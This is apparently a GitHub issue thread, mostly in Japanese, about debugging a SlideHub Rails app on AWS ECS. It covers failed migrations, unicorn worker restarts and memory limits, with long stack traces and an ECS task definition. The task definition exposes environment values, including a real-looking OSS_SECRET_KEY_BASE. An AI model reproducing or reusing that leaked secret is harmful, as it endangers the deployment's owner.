OSS_DB_PASSWORD_DEV => OSS_DB_PASSWORDの値と同じ
OSS_DB_URL_DEV => OSS_DB_URLの値と同じ
これを設定した上で、
bundle exec rake db:create RAILS_ENV=development
bundle exec rake db:migrate RAILS_ENV=development
bundle exec rake db:seed RAILS_ENV=development
を実行してください。
その上で、アプリケーションを実行し、unicorn.log
とdevelopment.log
の内容を共有いただければと思います。
何度もすいません。
@ryuzee
stdin: is not a tty
#<Mysql2::Error: Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)>
Couldn't create database for {"adapter"=>"mysql2", "encoding"=>"utf8", "reconnect"=>false, "database"=>"test_slidehub", "pool"=>5, "username"=>nil, "password"=>nil, "host"=>nil, "port"=>3306, "azure"=>false}, {:charset=>"utf8"}
(If you set the charset manually, make sure you have a matching collation)
-bash: Created: command not found
[root@ip-10-24-80-166 ~]# `docker exec $CONTAINER_ID bash -l -c 'bundle exec rake db:migrate RAILS_ENV=development'`
stdin: is not a tty
rake aborted!
NoMethodError: undefined method `rack_dev_mark' for #<Rails::Application::Configuration:0x0000556a7780c5f0>
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/railtie/configuration.rb:95:in `method_missing'
/opt/application/current/config/environments/development.rb:84:in `block in <top (required)>'
(以下略)
多分ですが、ENVをdevelopにすると外のdatabaseを見に行かないような気がします…
It seems that you did not set environmental variables before running the migration process.
これ原因がわかりました readme.mdの手順書だと
`docker exec $CONTAINER_ID bash -l -c 'bundle exec rake db:create RAILS_ENV=production'`
`docker exec $CONTAINER_ID bash -l -c 'bundle exec rake db:migrate RAILS_ENV=production'`
`docker exec $CONTAINER_ID bash -l -c 'bundle exec rake db:seed RAILS_ENV=production'`
なのでこのままコピペしていたのですが、この方法だとコンテナで実行されるbashがエラーになりますね
結果
[root@ip-10-24-80-166 ~]# `docker exec $CONTAINER_ID bash -l -c 'bundle exec rake db:create RAILS_ENV=production'`
stdin: is not a tty
-bash: Created: command not found
[root@ip-10-24-80-166 ~]# `docker exec $CONTAINER_ID bash -l -c 'bundle exec rake db:migrate RAILS_ENV=production'`
stdin: is not a tty
-bash: ==: command not found
[root@ip-10-24-80-166 ~]# `docker exec $CONTAINER_ID bash -l -c 'bundle exec rake db:seed RAILS_ENV=production' `
stdin: is not a tty
正解はこういう感じということでしょうか
docker exec $CONTAINER_ID bash -l -c 'bundle exec rake db:create RAILS_ENV=production'
docker exec $CONTAINER_ID bash -l -c 'bundle exec rake db:migrate RAILS_ENV=production'
docker exec $CONTAINER_ID bash -l -c 'bundle exec rake db:seed RAILS_ENV=production'
@ryuzee コンテナ内で実行しましたが、マイグレーションが走らないです
=development387eb:/opt/application/current# bundle exec rake db:create RAILS_ENV
Created database 'slidehub-dev'
#<Mysql2::Error: Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)>
Couldn't create database for {"adapter"=>"mysql2", "encoding"=>"utf8", "reconnect"=>false, "database"=>"test_slidehub", "pool"=>5, "username"=>nil, "password"=>nil, "host"=>nil, "port"=>3306, "azure"=>false}, {:charset=>"utf8"}
(If you set the charset manually, make sure you have a matching collation)
Created database 'test_slidehub'
V=development87eb:/opt/application/current# bundle exec rake db:migrate RAILS_EN
rake aborted!
NoMethodError: undefined method `rack_dev_mark' for #<Rails::Application::Configuration:0x0000563f5e152900>
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/railtie/configuration.rb:95:in `method_missing'
/opt/application/current/config/environments/development.rb:84:in `block in <top (required)>'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/railtie.rb:211:in `instance_eval'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/railtie.rb:211:in `configure'
/opt/application/current/config/environments/development.rb:1:in `<top (required)>'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/dependencies.rb:292:in `require'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/dependencies.rb:292:in `block in require'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/dependencies.rb:258:in `load_dependency'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/dependencies.rb:292:in `require'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/engine.rb:600:in `block (2 levels) in <class:Engine>'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/engine.rb:599:in `each'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/engine.rb:599:in `block in <class:Engine>'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/initializable.rb:30:in `instance_exec'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/initializable.rb:30:in `run'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/initializable.rb:59:in `block in run_initializers'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/initializable.rb:48:in `each'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/initializable.rb:48:in `tsort_each_child'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/initializable.rb:58:in `run_initializers'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/application.rb:353:in `initialize!'
/opt/application/current/config/environment.rb:5:in `<top (required)>'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/dependencies.rb:292:in `require'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/dependencies.rb:292:in `block in require'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/dependencies.rb:258:in `load_dependency'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/dependencies.rb:292:in `require'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/application.rb:329:in `require_environment!'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/application.rb:445:in `block in run_tasks_blocks'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/rake-12.3.1/exe/rake:27:in `<top (required)>'
/root/.rbenv/versions/2.5.0/bin/bundle:23:in `load'
/root/.rbenv/versions/2.5.0/bin/bundle:23:in `<main>'
Tasks: TOP => db:migrate => environment
(See full trace by running task with --trace)
evelopmentb0387eb:/opt/application/current# bundle exec rake db:seed RAILS_ENV=d
rake aborted!
NoMethodError: undefined method `rack_dev_mark' for #<Rails::Application::Configuration:0x000055ec91da5128>
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/railtie/configuration.rb:95:in `method_missing'
/opt/application/current/config/environments/development.rb:84:in `block in <top (required)>'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/railtie.rb:211:in `instance_eval'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/railtie.rb:211:in `configure'
/opt/application/current/config/environments/development.rb:1:in `<top (required)>'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/dependencies.rb:292:in `require'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/dependencies.rb:292:in `block in require'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/dependencies.rb:258:in `load_dependency'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/dependencies.rb:292:in `require'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/engine.rb:600:in `block (2 levels) in <class:Engine>'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/engine.rb:599:in `each'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/engine.rb:599:in `block in <class:Engine>'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/initializable.rb:30:in `instance_exec'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/initializable.rb:30:in `run'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/initializable.rb:59:in `block in run_initializers'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/initializable.rb:48:in `each'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/initializable.rb:48:in `tsort_each_child'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/initializable.rb:58:in `run_initializers'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/application.rb:353:in `initialize!'
/opt/application/current/config/environment.rb:5:in `<top (required)>'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/dependencies.rb:292:in `require'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/dependencies.rb:292:in `block in require'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/dependencies.rb:258:in `load_dependency'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/dependencies.rb:292:in `require'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/application.rb:329:in `require_environment!'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/application.rb:445:in `block in run_tasks_blocks'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activerecord-5.1.6/lib/active_record/railties/databases.rake:183:in `block (2 levels) in <top (required)>'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/rake-12.3.1/exe/rake:27:in `<top (required)>'
/root/.rbenv/versions/2.5.0/bin/bundle:23:in `load'
/root/.rbenv/versions/2.5.0/bin/bundle:23:in `<main>'
Tasks: TOP => db:abort_if_pending_migrations => environment
(See full trace by running task with --trace)
root@1aff7b0387eb:/opt/application/current# set | grep ENV
RAILS_ENV=development
RBENV_SHELL=bash
_=RAILS_ENV=development
root@1aff7b0387eb:/opt/application/current# set | grep OSS_DB.*DEV
OSS_DB_NAME_DEV=slidehub-dev
OSS_DB_PASSWORD_DEV=YourPassW0rd
OSS_DB_URL_DEV=slidehub.xxxxxxxxxxx.ap-northeast-1.rds.amazonaws.com
OSS_DB_USERNAME_DEV=slideadmin
以上ご確認よろしくお願いいたします
Sorry for the bother. Please run ‘bundle’ in the container before the migration
RAILS_ENV=develop
を指定したコンテナを起動(その他DB関連の変数もセット)docker exec $CONTAINER_ID bash -l -c 'bundle exec rake~
を実行という流れではないということでしょうか?
@Zaki-XL
やっていただきたいことは、アプリケーションをproduction
モードではなくdevelopment
モードで動かすことです。
当初データベースの初期データ等のアプリケーションの問題を疑っていましたが、こちらでは初期構築しても再現できないので切り分けをするためです。
そのためにどのような手順になるかを以下に記載します。
development
にします。データベース関連で設定すべき環境変数は以下の通りです。RAILS_ENV => development
OSS_DB_NAME_DEV => 適当な値(例えばslidehub-dev)
OSS_DB_USERNAME_DEV => OSS_DB_USERNAMEの値と同じ
OSS_DB_PASSWORD_DEV => OSS_DB_PASSWORDの値と同じ
OSS_DB_URL_DEV => OSS_DB_URLの値と同じ
bundle
エラーメッセージにあるようなrack-dev-markのgemなど複数のgemが導入されます。
bundle exec rake db:create RAILS_ENV=development
bundle exec rake db:migrate RAILS_ENV=development
bundle exec rake db:seed RAILS_ENV=development
/etc/supervisor.conf
を開いて、以下の行のproductionをdevelopmentに変えてください。その上で、service supervisor restart
を実行してみてください[program:unicorn]
command=bash -l -c 'bundle exec unicorn_rails -c /opt/application/current/config/unicorn.rb -E production -l 3000'
development.log
とunicorn.log
がアプリケーションのディレクトリ直下のlogの中に出力されます。今度はdevelopment.log
の中に詳細なログが出力されるはずなので、それを共有くださいbundleがroot権限で動作しないので、forceで強制的にやっているのですが、マイグレーションで失敗しているような気がします
root@186a52aa47c3:/opt/application/current# bundle --system --force
Don't run Bundler as root. Bundler can ask for sudo if it is needed, and
installing your bundle as root will break this application for all non-root
users on this machine.
Fetching gem metadata from https://rubygems.org/............
Fetching https://github.com/mbleigh/acts-as-taggable-on.git
(中略)
=developmenta5ea4:/opt/application/current# bundle exec rake db:create RAILS_ENV
Created database 'slidehub-dev'
#<Mysql2::Error: Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)>
Couldn't create database for {"adapter"=>"mysql2", "encoding"=>"utf8", "reconnect"=>false, "database"=>"test_slidehub", "pool"=>5, "username"=>nil, "password"=>nil, "host"=>nil, "port"=>3306, "azure"=>false}, {:charset=>"utf8"}
(If you set the charset manually, make sure you have a matching collation)
Created database 'test_slidehub'
V=development5ea4:/opt/application/current# bundle exec rake db:migrate RAILS_EN
rake aborted!
NoMethodError: undefined method `rack_dev_mark' for #<Rails::Application::Configuration:0x000055f42b9c9468>
/opt/application/current/config/environments/development.rb:84:in `block in <top (required)>'
/opt/application/current/config/environments/development.rb:1:in `<top (required)>'
/opt/application/current/config/environment.rb:5:in `<top (required)>'
/root/.rbenv/versions/2.5.0/bin/bundle:23:in `load'
/root/.rbenv/versions/2.5.0/bin/bundle:23:in `<main>'
Tasks: TOP => db:migrate => environment
(See full trace by running task with --trace)
evelopmentcda5ea4:/opt/application/current# bundle exec rake db:seed RAILS_ENV=d
rake aborted!
NoMethodError: undefined method `rack_dev_mark' for #<Rails::Application::Configuration:0x00005626074d81a8>
/opt/application/current/config/environments/development.rb:84:in `block in <top (required)>'
/opt/application/current/config/environments/development.rb:1:in `<top (required)>'
/opt/application/current/config/environment.rb:5:in `<top (required)>'
/root/.rbenv/versions/2.5.0/bin/bundle:23:in `load'
/root/.rbenv/versions/2.5.0/bin/bundle:23:in `<main>'
Tasks: TOP => db:abort_if_pending_migrations => environment
(See full trace by running task with --trace)
*DEV@dd44acda5ea4:/opt/application/current# set | grep -e RAILS_ENV -e OSS_DB_.
OSS_DB_NAME_DEV=slidehub-dev
OSS_DB_PASSWORD_DEV=YourPassW0rd
OSS_DB_URL_DEV=slidehub.xxxxxxxxx.ap-northeast-1.rds.amazonaws.com
OSS_DB_USERNAME_DEV=slideadmin
RAILS_ENV=development
_=RAILS_ENV=development
気になっているのが、db:createを実行すると
Created database 'test_slidehub'
というメッセージが出るのですが、実際MySQLに作られているdatabase名と異なるのは問題ないのでしょうか?(リモートのMySQLには「slidehub-dev」が作られております)
ご確認よろしくお願いします
@Zaki-XL
いまECSで同一環境を作って再現しました。理由はよく分からないのですが、これから調査するので、一旦作業せずお待ちください。またお知らせいたしますー
SQSに繋がっていなくて負荷があがっていく?
# Logfile created on 2018/06/06 by logger.rb/61378
I, [2018-06-06T07:33:35.520702 #228] INFO -- : Start convert process
I, [2018-06-06T07:34:40.652736 #405] INFO -- : Start convert process
I, [2018-06-06T07:35:55.564788 #549] INFO -- : Start convert process
I, [2018-06-06T07:37:09.743722 #693] INFO -- : Start convert process
I, [2018-06-06T07:38:26.396528 #837] INFO -- : Start convert process
I, [2018-06-06T07:39:42.457171 #981] INFO -- : Start convert process
I, [2018-06-06T07:40:48.783963 #1125] INFO -- : Start convert process
I, [2018-06-06T07:41:54.259156 #1269] INFO -- : Start convert process
I, [2018-06-06T07:42:59.277367 #1413] INFO -- : Start convert process
I, [2018-06-06T07:44:04.272746 #1557] INFO -- : Start convert process
I, [2018-06-06T07:45:09.264806 #1701] INFO -- : Start convert process
I, [2018-06-06T07:46:14.518945 #1845] INFO -- : Start convert process
コンテナの中で、
/bin/bash -lc 'export PATH="/root/.rbenv/bin:$PATH" ; eval "$(rbenv init -)"; cd /opt/application/current ; bin/rails runner -e production "require \"./lib/slide_hub/batch\"; Batch.execute"'
を実行した結果例外がでるか否か、でIAMの権限が適切か判断できる
IAM Roleの権限を適切にしても事象は発生
@Zaki-XL
理由が分かりました。 ECSのコンテナ設定で、デフォルト300MBメモリがハードリミットなんですが、純粋にメモリ不足に見えます。 unicornのワーカーがメモリを使い切っているので、ソフトリミットにして512MBくらいに設定して試してみていただければと思います。 こちらでは再現しなくなりました
@ryuzee なるほど!了解しました こちらでも検証させていただきます
@ryuzee わたしが勘違いしてるのかもしれないのですが、こちらの状況を記載します 上記のお話はdevelopということでしょうか?
事象: 画面遷移のたびにworkerプロセスが死に、unicornが再起動させている(unicorn.log) 結果画面は表示されるが、画面遷移に非常に時間がかかる
"memoryReservation"を1024~4096まであげても状況に変化なし
環境 production ECSインスタンスサイズ:c4.4xlarge コンテナ:slidehub:latest(v1.5.20) タスク定義
{
"executionRoleArn": null,
"containerDefinitions": [
{
"dnsSearchDomains": null,
"logConfiguration": {
"logDriver": "awslogs",
"options": {
"awslogs-group": "xxxxxxxxxx-logs",
"awslogs-region": "ap-northeast-1"
}
},
"entryPoint": null,
"portMappings": [
{
"hostPort": 3000,
"protocol": "tcp",
"containerPort": 3000
}
],
"command": null,
"linuxParameters": null,
"cpu": 0,
"environment": [
{
"name": "OSS_BUCKET_NAME",
"value": "xxxxxxxxxx-slides"
},
{
"name": "OSS_DB_NAME",
"value": "slidehub"
},
{
"name": "OSS_DB_PASSWORD",
"value": "YourPassW0rd"
},
{
"name": "OSS_DB_URL",
"value": "slidehub.xxxxxxxxxx.ap-northeast-1.rds.amazonaws.com"
},
{
"name": "OSS_DB_USERNAME",
"value": "slideadmin"
},
{
"name": "OSS_FROM_EMAIL",
"value": "xxxxxxxxxx@xxxxxxxxxx"
},
{
"name": "OSS_IMAGE_BUCKET_NAME",
"value": "xxxxxxxxxx-images"
},
{
"name": "OSS_PRODUCTION_HOST",
"value": "slidehub"
},
{
"name": "OSS_REGION",
"value": "ap-northeast-1"
},
{
"name": "OSS_SECRET_KEY_BASE",
"value": "03659dccb3fab0cd064b2d265257e657f21d0f060853bf5fa2dd70359a23"
},
{
"name": "OSS_SMTP_AUTH_METHOD",
"value": "plain"
},
{
"name": "OSS_SMTP_PASSWORD",
"value": "xxxxxxxxxx"
},
{
"name": "OSS_SMTP_PORT",
"value": "587"
},
{
"name": "OSS_SMTP_SERVER",
"value": "xxxxxxxxxx"
},
{
"name": "OSS_SMTP_USERNAME",
"value": "xxxxxxxxxx@xxxxxxxxxx"
},
{
"name": "OSS_SQS_URL",
"value": "https://sqs.ap-northeast-1.amazonaws.com/xxxxxxxxxx/xxxxxxxxxx-convert"
},
{
"name": "OSS_USE_S3_STATIC_HOSTING",
"value": "1"
}
],
"ulimits": null,
"dnsServers": null,
"mountPoints": [],
"workingDirectory": null,
"dockerSecurityOptions": null,
"memory": null,
"memoryReservation": 512,
"volumesFrom": [],
"image": "xxxxxxxxxx.dkr.ecr.ap-northeast-1.amazonaws.com/xxxxxxxxxx:1.5.20",
"disableNetworking": null,
"healthCheck": null,
"essential": true,
"links": null,
"hostname": null,
"extraHosts": null,
"user": null,
"readonlyRootFilesystem": null,
"dockerLabels": null,
"privileged": null,
"name": "slidehub"
}
],
"placementConstraints": [],
"memory": "4096",
"taskRoleArn": null,
"compatibilities": [
"EC2"
],
"taskDefinitionArn": "arn:aws:ecs:ap-northeast-1:xxxxxxxxxx:task-definition/xxxxxxxxxx-task:42",
"family": "xxxxxxxxxx-task",
"requiresAttributes": [
{
"targetId": null,
"targetType": null,
"value": null,
"name": "com.amazonaws.ecs.capability.ecr-auth"
},
{
"targetId": null,
"targetType": null,
"value": null,
"name": "com.amazonaws.ecs.capability.logging-driver.awslogs"
},
{
"targetId": null,
"targetType": null,
"value": null,
"name": "com.amazonaws.ecs.capability.docker-remote-api.1.21"
},
{
"targetId": null,
"targetType": null,
"value": null,
"name": "com.amazonaws.ecs.capability.docker-remote-api.1.19"
}
],
"requiresCompatibilities": null,
"networkMode": null,
"cpu": "1024",
"revision": 42,
"status": "ACTIVE",
"volumes": []
}
DBの問題もないことを確認していますので、一旦productionにしてみてもらえますか?
またコンテナの設定ですがこういう感じになっていますか?
上記添付させていただいたタスク定義ではRAILS_ENV=production
が入っておりませんでしたが、改めてそちらを定義したものでも同様の挙動です
また、下記コマンドをコンテナ内で実行したところ、下記レスポンスが返ってまいりました。多分キューにはアクセスできているような気がするのですが…
/bin/bash -lc 'export PATH="/root/.rbenv/bin:$PATH" ; eval "$(rbenv init -)"; cd /opt/application/current ; bin/rails runner -e production "require \"./lib/slide_hub/batch\"; Batch.execute"'
I, [2018-06-06T15:18:23.720506 #638] INFO -- : No Queue message found
ご確認よろしくお願いいたします
@Zaki-XL
キューにはアクセスできてますので設定としては問題ないと思います。 unicornが数回リクエストをさばいたあとでタイムアウトになるのは、リソース不足が原因のようなので、ホスト側ではなく、コンテナ側のソフトメモリ制限をもうちょい増やしてみる感じだと思います。メモリを無制限にできるならそれで試していただけると切り分けになると思います。
もう1点補足です。現状unicornはワーカーを3個起動するようになっていますが、以下の環境変数に値を設定することでワーカーの数を変更できます。減らせばその分メモリも減る(同時にさばける量も減りますが)ので試してみてください
WEB_CONCURRENCY
@ryuzee 改善しないですね…相変わらずworkerプロセスが再起動してしまっています 一旦現状及び確認したことを整理させていただきます。重複する内容ですが、ご了承ください
・docker image: ryuzee/slidehub:latest (v1.5.21) →ECSのdask定義内で直接外部のレポジトリを参照
・EC2インスタンスサイズ →ECSクラスターにてc4.4xlargeを指定
・タスクサイズ及びコンテナ定義 →メモリのみソフト制限で4GB
・コンテナ内からのMySQL接続確認(MySQLクライアントをインストール)
root@071d0791972c:/opt/application/current# mysql -h ${OSS_DB_URL} -u ${OSS_DB_USERNAME} -p${OSS_DB_PASSWORD}
Warning: Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 9112
Server version: 5.7.12 MySQL Community Server (GPL)
Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
mysql>
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| slidehub |
| sys |
+--------------------+
5 rows in set (0.00 sec)
mysql> show tables from slidehub;
+----------------------+
| Tables_in_slidehub |
+----------------------+
| ar_internal_metadata |
| categories |
| comments |
| custom_files |
| featured_slides |
| pages |
| schema_migrations |
| sessions |
| settings |
| slides |
| taggings |
| tags |
| users |
+----------------------+
13 rows in set (0.01 sec)
・コンテナ内からのSQS、S3アクセス(awscliをインストール)
root@071d0791972c:/opt/application/current# aws sqs receive-message --queue-url ${OSS_SQS_URL} --region ap-northeast-1
{
"Messages": []
}
root@071d0791972c:/opt/application/current# aws s3 ls | grep xxxxxxxxx
2018-04-25 17:47:29 xxxxxxxxx-images
2018-04-25 17:47:07 xxxxxxxxx-slides
docker statsでCPU及びメモリ推移を見ておりますが、1%以下の稼働率で安定しております
worker数の増減はこれから検証させていただきます
@ryuzee
ちょっと気になったのですが、OSS_DB_ENGINE=mysql
を指定したときとしない場合の挙動が異なるのですが、こちらは想定のものなのでしょうか?
OSS_DB_ENGINE=null
→無指定またはnullの場合
corn.log f2f7a272:/opt/application/current# cat /opt/application/current/log/uni
I, [2018-06-07T18:58:44.601250 #12] INFO -- : Refreshing Gem list
I, [2018-06-07T18:58:48.220664 #12] INFO -- : listening on addr=0.0.0.0:3000 fd=12
I, [2018-06-07T18:58:48.220793 #12] INFO -- : listening on addr=/tmp/unicorn.sock fd=13
I, [2018-06-07T18:58:48.225096 #302] INFO -- : worker=0 ready
I, [2018-06-07T18:58:48.226672 #12] INFO -- : master process ready
I, [2018-06-07T18:58:48.227681 #305] INFO -- : worker=1 ready
OSS_DB_ENGINE=mysql
→mysqlを指定
corn.log 4d371864:/opt/application/current# cat /opt/application/current/log/unic
I, [2018-06-07T18:54:08.291372 #12] INFO -- : Refreshing Gem list
bundler: failed to load command: unicorn_rails (/opt/application/current/vendor/bundle/ruby/2.5.0/bin/unicorn_rails)
LoadError: Could not load 'active_record/connection_adapters/mysql_adapter'. Make sure that the adapter in config/database.yml is valid. If you use an adapter other than 'mysql2', 'postgresql' or 'sqlite3' add the necessary adapter gem to the Gemfile.
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/dependencies.rb:292:in `require'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/dependencies.rb:292:in `block in require'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/dependencies.rb:258:in `load_dependency'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/dependencies.rb:292:in `require'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activerecord-5.1.6/lib/active_record/connection_adapters/connection_specification.rb:186:in `spec'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activerecord-5.1.6/lib/active_record/connection_adapters/abstract/connection_pool.rb:880:in `establish_connection'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activerecord-5.1.6/lib/active_record/connection_handling.rb:58:in `establish_connection'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activerecord-5.1.6/lib/active_record/railtie.rb:124:in `block (2 levels) in <class:Railtie>'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/lazy_load_hooks.rb:69:in `instance_eval'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/lazy_load_hooks.rb:69:in `block in execute_hook'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/lazy_load_hooks.rb:60:in `with_execution_control'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/lazy_load_hooks.rb:65:in `execute_hook'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/lazy_load_hooks.rb:41:in `block in on_load'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/lazy_load_hooks.rb:40:in `each'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/lazy_load_hooks.rb:40:in `on_load'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activerecord-5.1.6/lib/active_record/railtie.rb:120:in `block in <class:Railtie>'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/initializable.rb:30:in `instance_exec'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/initializable.rb:30:in `run'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/initializable.rb:59:in `block in run_initializers'
/root/.rbenv/versions/2.5.0/lib/ruby/2.5.0/tsort.rb:228:in `block in tsort_each'
/root/.rbenv/versions/2.5.0/lib/ruby/2.5.0/tsort.rb:350:in `block (2 levels) in each_strongly_connected_component'
/root/.rbenv/versions/2.5.0/lib/ruby/2.5.0/tsort.rb:431:in `each_strongly_connected_component_from'
/root/.rbenv/versions/2.5.0/lib/ruby/2.5.0/tsort.rb:349:in `block in each_strongly_connected_component'
/root/.rbenv/versions/2.5.0/lib/ruby/2.5.0/tsort.rb:347:in `each'
/root/.rbenv/versions/2.5.0/lib/ruby/2.5.0/tsort.rb:347:in `call'
/root/.rbenv/versions/2.5.0/lib/ruby/2.5.0/tsort.rb:347:in `each_strongly_connected_component'
/root/.rbenv/versions/2.5.0/lib/ruby/2.5.0/tsort.rb:226:in `tsort_each'
/root/.rbenv/versions/2.5.0/lib/ruby/2.5.0/tsort.rb:205:in `tsort_each'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/initializable.rb:58:in `run_initializers'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/application.rb:353:in `initialize!'
/opt/application/current/config/environment.rb:5:in `<top (required)>'
config.ru:4:in `require'
config.ru:4:in `block in <main>'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/rack-2.0.5/lib/rack/builder.rb:55:in `instance_eval'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/rack-2.0.5/lib/rack/builder.rb:55:in `initialize'
config.ru:1:in `new'
config.ru:1:in `<main>'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/unicorn-5.4.0/lib/unicorn.rb:56:in `eval'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/unicorn-5.4.0/lib/unicorn.rb:56:in `block in builder'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/unicorn-5.4.0/bin/unicorn_rails:139:in `block in rails_builder'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/unicorn-5.4.0/lib/unicorn/http_server.rb:795:in `build_app!'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/unicorn-5.4.0/lib/unicorn/http_server.rb:139:in `start'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/unicorn-5.4.0/bin/unicorn_rails:209:in `<top (required)>'
/opt/application/current/vendor/bundle/ruby/2.5.0/bin/unicorn_rails:23:in `load'
/opt/application/current/vendor/bundle/ruby/2.5.0/bin/unicorn_rails:23:in `<top (required)>'
I, [2018-06-07T18:54:13.152257 #306] INFO -- : Refreshing Gem list
